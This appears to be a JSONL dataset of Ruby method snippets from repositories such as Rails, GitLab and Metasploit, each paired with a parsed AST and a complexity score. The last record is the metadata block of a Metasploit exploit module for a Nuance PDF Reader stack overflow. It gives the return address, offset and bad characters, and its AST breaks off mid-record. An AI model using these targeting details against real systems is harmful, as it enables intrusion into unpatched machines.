{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/insert_all_test.rb","start_line":402,"raw_source":"def test_upsert_all_updates_existing_records\n    skip unless supports_insert_on_duplicate_update?\n\n    new_name = \"Agile Web Development with Rails, 4th Edition\"\n    Book.upsert_all [{ id: 1, name: new_name }]\n    assert_equal new_name, Book.find(1).name\n  end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_upsert_all_updates_existing_records\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_insert_on_duplicate_update?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\"]}]},{\"type\":\"lvasgn\",\"children\":[\"new_name\",{\"type\":\"str\",\"children\":[\"Agile Web Development with Rails, 4th Edition\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"upsert_all\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"new_name\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"new_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Book\"]},\"find\",{\"type\":\"int\",\"children\":[1]}]},\"name\"]}]}]}]}","id":"bc4ba5a0-b7e0-4d7d-b716-708f8eb8d982"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/logger.rb","start_line":13,"raw_source":"def self.error(message)\n      build.error(message)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"error\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build\"]},\"error\",{\"type\":\"lvar\",\"children\":[\"message\"]}]}]}","id":"300a891e-f965-47cd-ad23-3a6303acf279"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/index_test.rb","start_line":290,"raw_source":"def test_add_index_with_multiple_included_columns\n        skip(\"current adapter doesn't support include indexes\") unless supports_index_include?\n\n        connection.add_index(\"testings\", \"last_name\", include: [:foo, :bar])\n        assert connection.index_exists?(\"testings\", \"last_name\", include: [:foo, :bar])\n\n        connection.remove_index(\"testings\", \"last_name\")\n        assert_not connection.index_exists?(\"testings\", \"last_name\")\n      end","complexity_score":14.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_add_index_with_multiple_included_columns\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"supports_index_include?\"]},null,{\"type\":\"send\",\"children\":[null,\"skip\",{\"type\":\"str\",\"children\":[\"current adapter doesn't support include indexes\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"add_index\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"foo\"]},{\"type\":\"sym\",\"children\":[\"bar\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"remove_index\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"connection\"]},\"index_exists?\",{\"type\":\"str\",\"children\":[\"testings\"]},{\"type\":\"str\",\"children\":[\"last_name\"]}]}]}]}]}","id":"60168e32-d991-4237-8501-abfc8eae7e97"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/tunes/display_family.rb","start_line":46,"raw_source":"def messages_supported?\n        true unless messages_picture_type.nil?\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"messages_supported?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"messages_picture_type\"]},\"nil?\"]},null,{\"type\":\"true\",\"children\":[]}]}]}","id":"a7925515-beae-45a2-8170-a0f53d995e6c"}
{"repo_name":"forem","file_path":"./repos/forem/app/decorators/notification_decorator.rb","start_line":209,"raw_source":"def reactable_type\n    @reactable_type ||= json_data.dig \"reaction\", \"reactable\", \"type\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"reactable_type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@reactable_type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"json_data\"]},\"dig\",{\"type\":\"str\",\"children\":[\"reaction\"]},{\"type\":\"str\",\"children\":[\"reactable\"]},{\"type\":\"str\",\"children\":[\"type\"]}]}]}]}","id":"7fc72509-4a77-43c2-b675-0afeca2206bb"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20161025083648_fix_category_logo_and_background_urls.rb","start_line":4,"raw_source":"def up\n    return true if Discourse.asset_host.blank?\n\n    DB.exec <<-SQL\n      UPDATE categories\n         SET logo_url = replace(logo_url, '#{Discourse.asset_host}', '')\n           , background_url = replace(background_url, '#{Discourse.asset_host}', '')\n    SQL\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"asset_host\"]},\"blank?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      UPDATE categories\\n\"]},{\"type\":\"str\",\"children\":[\"         SET logo_url = replace(logo_url, '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"asset_host\"]}]},{\"type\":\"str\",\"children\":[\"', '')\\n\"]},{\"type\":\"str\",\"children\":[\"           , background_url = replace(background_url, '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"asset_host\"]}]},{\"type\":\"str\",\"children\":[\"', '')\\n\"]}]}]}]}]}","id":"6baf0020-6461-4007-83cc-5b5b2d4c817d"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/inflector/methods.rb","start_line":33,"raw_source":"def pluralize(word, locale = :en)\n      apply_inflections(word, inflections(locale).plurals, locale)\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pluralize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"word\"]},{\"type\":\"optarg\",\"children\":[\"locale\",{\"type\":\"sym\",\"children\":[\"en\"]}]}]},{\"type\":\"send\",\"children\":[null,\"apply_inflections\",{\"type\":\"lvar\",\"children\":[\"word\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"inflections\",{\"type\":\"lvar\",\"children\":[\"locale\"]}]},\"plurals\"]},{\"type\":\"lvar\",\"children\":[\"locale\"]}]}]}","id":"a7ae70cf-b1f9-4620-b273-c9fcd0859944"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/api_fabricator.rb","start_line":223,"raw_source":"def extract_graphql_body(graphql_response)\n        parsed_body = parse_body(graphql_response)\n        return parsed_body if parsed_body[:errors].present?\n\n        data = Hash[parsed_body.values[0]]\n        Hash[data.values[0]]\n      end","complexity_score":13.4,"ast_json":"{\"type\":\"def\",\"children\":[\"extract_graphql_body\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"graphql_response\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"parsed_body\",{\"type\":\"send\",\"children\":[null,\"parse_body\",{\"type\":\"lvar\",\"children\":[\"graphql_response\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"errors\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"parsed_body\"]},\"values\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"values\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"529081d3-11c7-471b-b8b3-4a1ab8d31c91"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/scripts/internal_events/cli/helpers/formatting.rb","start_line":26,"raw_source":"def format_warning(string)\n        pastel.yellow(string)\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"format_warning\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"string\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"pastel\"]},\"yellow\",{\"type\":\"lvar\",\"children\":[\"string\"]}]}]}","id":"8d034fc8-16a7-4fa4-b154-113190468a11"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/sidekiq_middleware/throttling/tracker.rb","start_line":31,"raw_source":"def record\n          Gitlab::Instrumentation::RedisClusterValidator.allow_cross_slot_commands do\n            self.class.with_redis do |redis|\n              redis.pipelined do |pipeline|\n                pipeline.set(cache_key(worker_name, period_key), \"true\", ex: TTL)\n                pipeline.sadd(self.class.lookup_key, worker_name)\n                pipeline.expire(self.class.lookup_key, LOOKUP_KEY_TTL)\n              end\n            end\n          end\n        end","complexity_score":25.7,"ast_json":"{\"type\":\"def\",\"children\":[\"record\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Instrumentation\"]},\"RedisClusterValidator\"]},\"allow_cross_slot_commands\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"with_redis\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"redis\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"redis\"]},\"pipelined\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"pipeline\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"set\",{\"type\":\"send\",\"children\":[null,\"cache_key\",{\"type\":\"send\",\"children\":[null,\"worker_name\"]},{\"type\":\"send\",\"children\":[null,\"period_key\"]}]},{\"type\":\"str\",\"children\":[\"true\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ex\"]},{\"type\":\"const\",\"children\":[null,\"TTL\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"sadd\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"lookup_key\"]},{\"type\":\"send\",\"children\":[null,\"worker_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipeline\"]},\"expire\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"lookup_key\"]},{\"type\":\"const\",\"children\":[null,\"LOOKUP_KEY_TTL\"]}]}]}]}]}]}]}","id":"a3170e98-955b-4827-a862-62f37be881bf"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/module/data_store.rb","start_line":53,"raw_source":"def share_datastore(ds)\n    self.datastore = ds\n    self.datastore.import_options(self.options)\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"share_datastore\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ds\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"datastore=\",{\"type\":\"lvar\",\"children\":[\"ds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"datastore\"]},\"import_options\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"options\"]}]}]}]}","id":"09ffebde-1aee-463c-a317-efdd9dafc254"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request.rb","start_line":2148,"raw_source":"def find_codequality_mr_diff_reports\n    unless has_codequality_mr_diff_report?\n      return { status: :error, status_reason: 'This merge request does not have codequality mr diff reports' }\n    end\n\n    compare_reports(Ci::GenerateCodequalityMrDiffReportService)\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"find_codequality_mr_diff_reports\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"has_codequality_mr_diff_report?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status\"]},{\"type\":\"sym\",\"children\":[\"error\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"status_reason\"]},{\"type\":\"str\",\"children\":[\"This merge request does not have codequality mr diff reports\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"compare_reports\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"GenerateCodequalityMrDiffReportService\"]}]}]}]}","id":"22d6ea4c-684c-4794-87f9-f267b9ac9538"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/journey/formatter.rb","start_line":37,"raw_source":"def initialize(constraints, missing_keys, unmatched_keys, routes, name)\n          @constraints = constraints\n          @missing_keys = missing_keys\n          @unmatched_keys = unmatched_keys\n          @routes = routes\n          @name = name\n        end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"constraints\"]},{\"type\":\"arg\",\"children\":[\"missing_keys\"]},{\"type\":\"arg\",\"children\":[\"unmatched_keys\"]},{\"type\":\"arg\",\"children\":[\"routes\"]},{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@constraints\",{\"type\":\"lvar\",\"children\":[\"constraints\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@missing_keys\",{\"type\":\"lvar\",\"children\":[\"missing_keys\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@unmatched_keys\",{\"type\":\"lvar\",\"children\":[\"unmatched_keys\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@routes\",{\"type\":\"lvar\",\"children\":[\"routes\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@name\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}","id":"77cd88b2-0cc2-4454-bfc6-095f9c7a4129"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/rescue_ensure_alignment.rb","start_line":172,"raw_source":"def modifier?(node)\n          return false unless @modifier_locations.respond_to?(:include?)\n\n          @modifier_locations.include?(node.loc.keyword)\n        end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"modifier?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@modifier_locations\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"include?\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@modifier_locations\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]},\"keyword\"]}]}]}]}","id":"d772a881-5ad3-48e2-80a1-4ab4e96f2a51"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/next.rb","start_line":181,"raw_source":"def autocorrect_modifier(corrector, node)\n          body = node.if_branch || node.else_branch\n\n          replacement =\n            \"next #{node.inverse_keyword} #{node.condition.source}\\n\" \\\n            \"#{' ' * node.source_range.column}#{body.source}\"\n\n          corrector.replace(node, replacement)\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_modifier\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"replacement\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"next \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"inverse_keyword\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"condition\"]},\"source\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"source_range\"]},\"column\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"body\"]},\"source\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"replacement\"]}]}]}]}","id":"183ace9b-03d5-4a96-bf54-60fa9a931859"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ssh/ssh_identify_pubkeys.rb","start_line":325,"raw_source":"def existing_loot(ltype, key_id)\n    framework.db.loots(workspace: myworkspace).where(ltype: ltype).select { |l| l.info == key_id }.first\n  end","complexity_score":14.8,"ast_json":"{\"type\":\"def\",\"children\":[\"existing_loot\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ltype\"]},{\"type\":\"arg\",\"children\":[\"key_id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"db\"]},\"loots\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"workspace\"]},{\"type\":\"send\",\"children\":[null,\"myworkspace\"]}]}]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ltype\"]},{\"type\":\"lvar\",\"children\":[\"ltype\"]}]}]}]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"info\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"key_id\"]}]}]},\"first\"]}]}","id":"28c258df-de79-46b5-b45a-4aa16570e0c5"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/charts.rb","start_line":109,"raw_source":"def initialize(*)\n          @to   = Date.today.end_of_day\n          @from = (@to - 1.week).beginning_of_day\n          @interval = :day\n          @format = '%d %B'\n\n          super\n        end","complexity_score":10.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@to\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Date\"]},\"today\"]},\"end_of_day\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@from\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@to\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[1]},\"week\"]}]}]},\"beginning_of_day\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@interval\",{\"type\":\"sym\",\"children\":[\"day\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@format\",{\"type\":\"str\",\"children\":[\"%d %B\"]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"4d21a526-6ace-481f-9534-3481a1fd8642"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/nuance_pdf_launch_overflow.rb","start_line":12,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name'\t=> 'Nuance PDF Reader v6.0 Launch Stack Buffer Overflow',\n        'Description' => %q{\n          This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is\n          triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record.\n          This exploit does not use javascript.\n        },\n        'License'\t=> MSF_LICENSE,\n        'Author' => [\n          'corelanc0d3r <peter.ve[at]corelan.be>',\n          'rick2600',\n        ],\n        'References' => [\n          [ 'OSVDB', '68514'],\n          [ 'URL', 'http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-062-stack-buffer-overflow-in-nuance-pdf-reader-v6-0/' ]\n        ],\n        'Payload' => {\n          'BadChars'\t=> \"\\x00\\x01\\x02\\x03\\x04\\x05\\x06\\x07\\x08\\x09\\x0a\\x0d\\x22\\x28\\x29\\x2F\\x5c\\x3c\\x3e\\x5e\\x7e\",\n\n        },\n        'Platform'\t=> 'win',\n        'Targets' => [\n          [ 'Nuance PDF Reader v6.x (XP SP3)', { 'Ret' => 0x10191579, 'Offset' => 1290 } ] # ppr - pluscore.dll\n        ],\n        'DisclosureDate' => '2010-10-08',\n        'DefaultTarget'\t=> 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('FILENAME', [ false, 'The output filename.', 'corelannuance.pdf'])\n      ]\n    )\n  end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Nuance PDF Reader v6.0 Launch Stack Buffer Overflow\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a stack buffer overflow in Nuance PDF Reader v6.0. The vulnerability is\\n\"]},{\"type\":\"str\",\"children\":[\"          triggered when opening a malformed PDF file that contains an overly long string in a /Launch field. This results in overwriting a structured exception handler record.\\n\"]},{\"type\":\"str\",\"children\":[\"          This exploit does not use javascript.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"corelanc0d3r <peter.ve[at]corelan.be>\"]},{\"type\":\"str\",\"children\":[\"rick2600\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"68514\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"URL\"]},{\"type\":\"str\",\"children\":[\"http://www.corelan.be:8800/index.php/forum/security-advisories/corelan-10-062-stack-buffer-overflow-in-nuance-pdf-reader-v6-0/\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"BadChars\"]},{\"type\":\"str\",\"children\":[\"\\u0000\\u0001\\u0002\\u0003\\u0004\\u0005\\u0006\\u0007\\b\\t\\n\\r\\\"()/\\\\<>^~\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"win\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Nuance PDF Reader v6.x (XP SP3)\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[270079353]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Offset\"]},{\"type\":\"int\",\"children\":[1290]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2010-10-08\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"FILENAME\"